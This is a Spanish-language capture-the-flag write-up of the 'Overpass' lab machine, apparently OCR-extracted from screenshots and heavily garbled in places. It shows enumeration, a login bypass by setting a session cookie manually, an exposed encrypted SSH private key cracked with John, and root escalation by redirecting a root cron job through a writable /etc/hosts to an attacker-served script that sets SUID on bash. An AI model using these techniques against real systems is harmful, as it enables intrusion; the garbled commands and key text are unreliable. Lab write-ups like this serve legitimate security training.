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1. Enumeracion.

Realizamos un PING a la maquina victima para comprobando su TTL. A partir del valor devuelto,
nos podemos hacer una idea del sistema operativo que tiene. En este caso podemos deducir
que se trata de una maquina Linux.

/home/kali/HTE/overpass
1 1 10.108.144.17
PING 18.10.144.17 (10.10.144.17) 56(84) bytes of data
64 bytes from 1@ LA44.17: icmp_seg=1 ttl

@ ms

C report ). 1
is up (0.040s latency).

tcp ¢ .6p1 Ubuntu 4ubuntu@.3 (Ubuntu Li x; protocol 2.
ssh-hostkey:
37968598d1009c1463d9b03475b1f957 (

56 5375fac@65daddble8dd40b8f6823924 (EC
56 1c4adalf36546da6c61700272e67759¢ (
tcp ope http 12 net/http server ( S json-rpc
http-title
S e Info: - x; CPE: cpe: /o:linux:linux_kernel

ce detection performed. P e report any incorrect results at https: ap.org/submit/ .

Script, Title r X-UA-Compatible[IE

Realizamos una enumeracidn de la web con gobuster y encontramos un directorio “admin” que
nos llama la atencidn.
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/home/kali/HTB/overpass
r dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.65.65 -1

Gobuster v3.3
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

Url: http://10.10.65.65

Method: GET

Threads: 200

Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium. txt
Negative Status codes: 404

User Agent: gobuster/3.3

Timeout: 10s

2022/11/19 13:59:24 Starting gobuster in directory enumeration mode

/img tat [Size: 0]
/admin tatus: 1) [Size:
/css tatus: 1) [Size:
/aboutus tus: 1) [Size:
/downloads tatus: 1) [Size:

2. Andlisis de Vulnerabilidades

Ingresamos con nuestro navegador en la web. Intentamos realizar un ataque de SQL Injection
pero no funciona.

Analizamos el cddigo fuente del panel de login y, en login.js, vemos que una vez logado se
“setea” una cookie.

async function login() {
const usernameBo document.guerySelector("#usernam
const pa rdBox = document.querySe tDrl”#pEEEHDFd )
const loginStatus = ducumunt querySelector("#loginStatus
loginStatus.textContent =
const creds = { username: us ¥.Va , password: passwordBox.value }
const response = awalt pos
const statusOrCooki aw Jpnnip te:
i ncorrect +rwden+1 1s")

Content

p asswordBox.values=

.set("SessionTo
ull'ldl]u 1 catiaon i

Vamos a probar a establecerla de forma manual y refrescar la web.
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@ QO & 101021768

Kali Linux # Kali T * Kali Docs ®/ Kali Forums X Kali NetHunter

@ Overpass

Administrator area

Please log in to access this content

Overpass administrator login
Username: [test |
Password: | |
|. Login.‘

Incorrect Credentials
¥ | O Inspector (I C

Value

admin

Conseguimos acceso a la web, obteniendo la id_rsa.

Welcome to the Overpass Administrator area

A secure password manager with support for Windows, Linux, MacOS and more

Since you keep forgetting your password, James, I've set up SSH keys for you.

If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.

Also, we really need to talk about this "Military Grade" encryption. - Paradox

----- BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9FB85D92F34F42626F13A74093AB48F337

LNu5wQBBZ 7pKZ3cc4TWLxTUUD/0pJi10VpPaB6pwiHHhe8Z jw3/v+xnmtS30+qiN
JHnLS8oUVRESmoswd pgLGeP3AwKy rzDWtw2yc07mNdNs zwlp3uto7ENdTIbzv]al
73/eUNSkYFOua9rZCemwol2iG65d INLAZqsYY7rrvDxeCZIkgz0GzkBIwKgwlljT
WDyy8qncljug0If8QrHoo30Gv+dAMTipTSRA3FGBZ /Hhad jDykUXPOPvUFyThVdy
BMXmr3xuKkB6I6k/jLjgWcLrhPWSOQRI718G/uBcgYX30ImMB003]goXYXxewGSZ
ALS5bLQFhZINGoZ+N5nHO1110BL1tmsUIRWYK7wT /9kvUiL3rhkBURhVIbj 2qiHxR
3KewmS4ADmAA0toPTIAMVyaKmCWopf6lel+wzZ /UprNCAgeGT1ZKX/ joruW7ZIuAUf
ABDRLLwWFVPMgah rBp6vRTNECSxz tbFmXPoVwvWRQIBZ +pBMi0oReb7 I fusy6Gvzk
VfwzgpmkAr8yDQynUukoWexPeDHWiS1g1kRIKrQP7GCupv/r/YcIRmNTfzT5eeR
0kUOTMgmd3Lj87yELyav1BHrz5FJvzPM3 rimRwEs 18GH111D4L5 rAKVcusdFcg8P
980ukWbzVZHba0tAGVGYBFKIv1WhA+pj TLgwU+c15WF7ENb3DmSqdU0SS1P2ZR] ze
eaPG504U9FqBZaYPkMly]CzRVp43De4kKky05FQ+x5xce3FWBbA3+BREGY1r0GeZ
ATBApY+uz341Xe8jE1hrKV9xw/7z62LokKMnLjG2YFIApra9nZFVZs1X0FCCkeMa
GFheoT4yFwrXhU1fj0Qjw/ cRekbhOv7RV5x7L36x3ZuCfBdlwkt/h2M5nowjcbYn
exx0u0dgdazTj rXOyRNy0tYFIWPLhLRHapBAKkXzvNSOERB3TIca8ydbKsyasdCGy
AIPX52bioB1Dhg8DmPApR1C1zRYWT1LEFKt7KKAa0gbw3G5raszB54MOpXenL+wk
6p7 /w0X6WMo IMLKFI5M3C7dxPFESpLHT pBxf2qys9MgBsderLkXoYRegpbGhAWSS
dPm51MekHD+WePBoTYGIAPVCS/WF+U906tyBUmgyTI9qfxMVIulBecmIhzhdgdtTol
nOLz5pKY+rLxdUaAASKYwFsdiXnXjHEE 1UwnDgqrvgBuvX6Nux+hfgXi9Bsy68qT
BHiUKTEsukcv/IVHK1S+Uw/HSAWE JSFmWQs3bw+Y41w+YLZomXA4ET yxPXy fmdK
4FMg3ngBed/7HRYISaXLQ0KeNwc f /LWSdip07DmB]VLsCBeyIBujeutP/GcAS162
y1gil0gj4+yiS813kNTjCI0wKRsXg2jKbnRa8b7dSRz7aDZVLpInEy9bhnEa7wts
49TxTo153ZB14+ougklL4svIyYYTRuQj rumierXAdmbYFIwimhml felrMcofOHRW2
+hL1kHLTtJZU8Zj2Y2Y3hd6yRNIcIgCD rmLbn9C5MAd7goh2B1FalIZ0YDS6I6YK
2cWk/MUn7+0hAApAVDBKVM7 / LGRS/ sVPceEosBHTfBXbmsiv+eoFzUtu] tymvau7
----- END RSA PRIVATE KEY-----

3. Explotacion e intrusion

Copiamos la id_rsa en nuestra maquina y con ss22john generamos un hash para poder

crakearlo con John mas tarde.

/home/kali/HTB/overpass

id_rsa id_rsa.hash
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/home/kali/HT8/overpass

Ejecutamos John, con el diccionario de rockyou.txt y obtenemos la clave con la que estd cifrada
la clave id_rsa.

/home/kali/HTB/overpass
ist=/usr/shar dlist id_rsa.hash
input

DONE ( 2-11-19 1@ ) ! / lisa .. honolulu
;" option to display

Quitamos la clave de la id_rsa.

/home/kali/HTB/overpass
id_rsa
Enter old pa
Enter new pa rase (empty for no passphrase):
Enter same pa rase again:
Your identi ( as been saved with the new passphrase.

Ganamos acceso a la maquina victima.

/home/kali/HTB/overpass
James®10.10.217.68 id_rsa
James@10.10.217.68"s password:

/home/kali/HTB/overpass
james@10.10.217.68 id_rsa
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Sat Nov 19 08:46:34 UTC 2022

System load: .07 Processes: 88

Usage of /: 22.3% of 18.57GB  Users logged in: 0

Memory usage: 17% IP address for eth@: 10.10.217.68
Swap usage: 0%

47 packages can be updated.
@ updates are security updates.

Last login: Sat Jun 27 04:45:40 20 from 192.168.170.1
jamesa@overpass-prod:~$ ]
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4. Escalada de privilegios
Revisamos a los grupos a los que pertenecemos.

Jamesia) rpa:s yrod:~% id
uid=1001(james) gid=1001(james) groups=1001(james)

jamesdgoverpass-prod:~% sudo -1
[sudo] password for james:
Sorry, try again.

Descargamos pspy y lo pasamos a la maquina victima. Lo ejecutamos y vemos un proceso que
se ejecuta como root, haciendo una consulta a la propia web, llamando al fichero buildscript.sh.

2022/11/19
2022/11/19
2022/11/19
2022/11/19
2022/11/19

Vemos que tenemos privilegios de escritura sobre el fichero /etc/hosts. Podemos
aprovecharnos, para cargar un cédigo malicioso.

5ts
=

root root 276 Nov 19 11:18

Creamos la estructura de directorios downloads/src/ y el fichero buildscript.sh. Vamos a afiadir
permisos SUID sobre la bash de la maquina victima.

GNU nano 6.4
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Nos ponemos en escucha por el puerto 80 con python.

/home/kali/Descargas

ver 8@

Vemos como se cambian los privilegios sobre la bash, pudiendo escalar privilegios como root.

Every 2.@s: -la /bin/bash

-rwsr-sr-x 1 root root 1113584 Jun 6 2819 /bin/bash
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